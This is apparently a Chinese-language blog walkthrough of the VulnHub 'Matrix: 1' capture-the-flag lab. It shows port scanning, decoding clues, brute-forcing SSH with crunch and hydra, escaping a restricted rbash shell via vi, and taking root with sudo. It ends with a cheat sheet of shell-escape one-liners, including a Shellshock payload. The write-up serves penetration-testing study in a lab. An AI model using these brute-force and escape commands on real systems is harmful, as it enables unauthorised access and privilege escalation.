從 Matrix: 1 Vulnhub 學習rbash

2020-08-09 22:52:38

開局靶機正常設定走host-only
nmap進行主機發現,找到對應的主機,掃描埠

在这里插入图片描述開啓了
在这里插入图片描述
存取80埠
在这里插入图片描述啥都沒有,於是存取31337埠

在这里插入图片描述
在原始碼發現一串base64

在这里插入图片描述
解密後發現一個檔案,通過web存取
在这里插入图片描述
是一個brainfuck檔案(https://www.splitbrain.org/_static/ook/)線上解密得到前6位密碼
在这里插入图片描述
使用crunch建立一個單詞表,進行ssh登錄爆破
crunch 8 8 -t k1ll0r%@ -o dict.txt
hydra -l guest -P dict.txt 192.168.1.18 ssh
在这里插入图片描述
得到密碼ssh登錄發現有rbash,很多命令都不能執行
在这里插入图片描述
vi可以,echo可以並發現有rbash也就是受限的shell
在滲透過程中,會遇到有些環境中的shell是受限制的,這些shell環境叫restricted shell
以下功能受限:

通過 cd 來改變工作目錄
設定或取消環境變數: SHELL, PATH, ENV, BASH_ENV
命令名中不能包含目錄分隔符 ‘/’
包含有 ‘/’ 的檔名作爲內建命令 ‘.’ 的參數
hash 內建命令有 -p 選項時的檔名參數包含 ‘/’
在啓動時通過 shell 環境匯入函數定義
在啓動時通過 shell 環境解析 SHELLOPTS 的值
使用 >,>|, <>, >&, &>, >> 等重定向操作符
使用 exec 內建命令
通過 enable 內建命令的 -f 和 -d 選項增加或刪除內建命令
使用 enable 內建命令來禁用或啓用 shell 內建命令
執行 command 內建命令時加上 -p 選項
通過 set +r 或 set +o restricted 關閉受限模式

受限的型別有

		rbash
		rsh
		rksh
		python

如何打破
儘量找出自己所處環境是什麼樣子:

執行env檢視環境變數
執行echo $PATH查詢路徑設定
執行echo $SHELL或者echo $0檢視執行的shell環境
檢視基本的Unix命令,比如ls,pwd,cd ..,env,set,export,vi,cp,mv
shell變數和路徑設定:
如果/允許使用,直接執行/bin/sh
如果可以進行路徑設定、shell變數設定,就可以執行:
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/sh
如果可以複製檔案到存在的路徑,就可以執行cp /bin/sh /some/dir/from/PATH; sh

就本題而言
vi命令可以使用,就可以通過vi !/bin/sh(!/bin/bash)來啓動一個不受限的bash
在这里插入图片描述在这里插入图片描述
跳脫受限的shell環境後,我們將/ bin / bash導出到SHELL環境變數,並將「 / usr / bin 」目錄導出到PATH環境變數,以便我們可以正確執行Linux命令。

export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH

導出到環境變數後,我們檢查了sudoers列表,發現由於擁有所有權利,我們可以直接獲取root shell。

sudo -l
sudo su

由於尚未將「 / bin 」目錄導出到PATH環境中,因此無法執行「 su 」命令。我們將「 / bin 」目錄導出到PATH環境變數中,然後再次執行該命令以使用我們先前找到的密碼以root使用者身份登錄。

export PATH=/bin:$PATH
sudo su

然後到根目錄下cat flag
在这里插入图片描述
補充
有一些系統命令常常可以繞過限制:

ftp->!/bin/sh
gdb->!/bin/sh
more/less/man->!/bin/sh
vi/vim->:!/bin/sh
scp -S tmp/getMeOut.sh x y
awk ‘BEGIN {system(‘/bin/sh’)}’
find / -name someName -exec /bin/sh \;

逃脫限制:

在遠端shell連線載入完成之前執行系統命令
ssh test@IP -t '/bin/sh'
在遠端shell開始的時候,不載入限制組態檔
ssh test@IP -t "bash --noprofile"
嘗試破殼漏洞
ssh test@IP -t "() { :; }; /bin/bash"

深入:

使用tee命令
echo 「your evil code」	tee script.sh
通過指令碼語言呼叫shell
python -c 'import os; os.system("/bin/bash")'
perl -e ‘exec 「/bin/sh」;’
歷史檔案技巧
將一個想要重寫的檔案中設定HISTFILE變數
將HISTFILE變數從0到100逐漸遞增
執行檔案中每行寫入的內容
登出並重新登陸。這樣就將所想寫入的內容指向了HISTFILE檔案(原檔案許可權保持不變)

參考:

https://www.hackingarticles.in/matrix-1-vulnhub-walkthrough/
https://b404.xyz/2018/07/03/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells/
http://kuanghy.github.io/2017/02/20/rbash
http://pentestmonkey.net/blog/rbash-scp
https://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells